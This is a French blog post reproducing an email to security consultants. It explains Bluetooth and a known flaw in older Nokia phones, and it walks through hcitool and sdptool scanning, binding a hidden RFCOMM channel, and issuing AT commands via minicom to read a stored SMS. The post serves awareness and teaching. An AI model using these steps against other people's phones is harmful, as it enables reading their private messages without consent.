Ci dessous une copie d'un petit mail que j'avais rédigé à l'intention des consultants sécurité de mon ancienne boite après avoir expérimenté une faille liée au bluetooth:

Bluetooth: kécéça ?

Donc au cas ou vous débarquiez tout juste d'un voyage sur la lune, explication de ce qu'est le bluetooth.

Le bluetooth est un protocole de communication sans fil (un peu à la sauce WiFi) utilisé pour faire communiquer divers équipements tels que les téléphones, les ordinateurs, les cafetières, les PDA, etc...

Un peu plus de détails.

Le bluetooth utilise la fréquence de 2.4Ghz pour un débit de quelques Mb/s et une portée de 10 à 100m.

Chaque périphérique est identifié par une addresse semblable aux adre sses MAC, exemple:

[root@gco]:~binarym# hcitool scan
Scanning ...
00:60:57:4C:70:2E Nokia 6310i

Afin de faire cohabiter les différents services associés au bluetooth (synchronisation du téléphone avec le Palm et téléphonie avec le kit mains libres sans fil simultanés), on utilise plusieurs canaux logiques.
Un canal est dédié aux kits mains libres, un autre pour l'utilisation du modem intégré au téléphone, etc ...

[root@gco]:~binarym# sdptool browse 00:12:62:18:1B:67 |more
Browsing 00:12:62:18:1B:67 ...
Service Name: OBEX Object Push
Service RecHandle: 0x100c4
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100

Service Name: OBEX File Transfer
Service RecHandle: 0x100c5
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 10
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100

Service Name: Dial-up networking
Service RecHandle: 0x100c6
Service Class ID List:
"Dialup Networking" (0x1103)
"Generic Networking" (0x1201)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Dialup Networking" (0x1103)
Version: 0x0100

On constate ici que le canal 1 est utilisé par le modem.
Le bluetooth a été pensé pour être sécurisé (hihihi). Ainsi, pour synchroniser le Palm et le téléphone, on doit passer par une phase d'association des deux périphériques (jumelage) ou il sera demandé à chacun des périphériques un code PIN qui devra être identique.

Le hic

Comme toujours quand il s'agit de technologie, le bluetooth, sécurisé sur le papier s'avère être une vulnérable à un certain nombre de failles.
Ainsi, un vilain pirate peut, sans que vous le remarquiez : Les téléphones touchés sont les Nokia (6310(i), 8910(i), ...), les Sony Ericsson (T68(i), T610, Z1010, ...) et bien d'autres encore.
Le problème n'est pas toujours le même mais le champ d'action reste grossièrement identique.
Je vais décrire plus précisément le cas du Nokia 6310i.
Comme je vous l'ai montré plus haut, on peut intérroger un équipement pour connaitre les services qu'il propose et les canaux associés.
Sur les Nokia il existe un canal caché (allez savoir pourquoi ...) permettant d'interagir avec le téléphone via des commandes AT.
Ce canal est le 18 ou le 19 selon les cas. Une fois connecté à ce canal, le champ d'action est vaste.
Voyons en détail l'exploitation. Les prérequis sont: Les paquets pour Debian: Les outils qui nous seront utiles sont: Dans un premier temps, on recherche les périphériques:

[root@gco]:/home/binarym# hcitool scan Scanning ...
00:60:57:4C:70:2E Nokia 6310i

Ensuite, on établit la connexion:

[root@gco]:/home/binarym# rfcomm bind /dev/rfcomm1 00:60:57:4C:70:2E 17
[root@gco]:/home/binarym# rfcomm show
rfcomm1: 00:60:57:4C:70:2E channel 17 clean

Nous voila connectés ... il n'y a plus qu'à exploiter en se connectant via minicom sur le port /dev/rfcomm1.
Exemple sur mon téléphone:

Welcome to minicom 2.1

OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Nov 12 2003, 19:21:57.

Press CTRL-A Z for help on special keys


OK
AT+GMM
Nokia 6230
OK
AT+CMGR=3D2
+CMGR: "REC READ","+3367001xxxx",,"05/01/12,01:05:30+04"
pirate :)
OK

Donc ici j'ai consulté le 2ème message lu stocké dans mon téléphone. J'ai reçu le message en question le 1er décembre 2005 à 01:05 de 3367001xxxx (j'ai masqué les deux derniers numéros par sécurité hein ...).
L'exploitation comme on le constate est assez triviale.
Maintenant, je vais pas tout vous expliquer non plus, donc comme on dit du coté de chez moi, RTFM !

La sécurité du bluetooth:

http://www.betaversion.net/btdsd/
http://www.thebunker.net/security/bluetooth.htm
http://trifinite.org/trifinite_stuff_blue
http://trifinite.org/trifinite_org.htmlbug.html

De nombreux outils d'exploitation existent sur le net. Certains en C, d'autres en Java ME (pour jouer directement depuis votre téléphone).
Par contre, ils n'ont pas l'air d'etre très fiables: je n'ai pas réussi à utiliser ceux écrit en C sur mon linux, et bloover de trinifite.org ne semble pas fonctionner sur mon téléphone (Nokia 6230).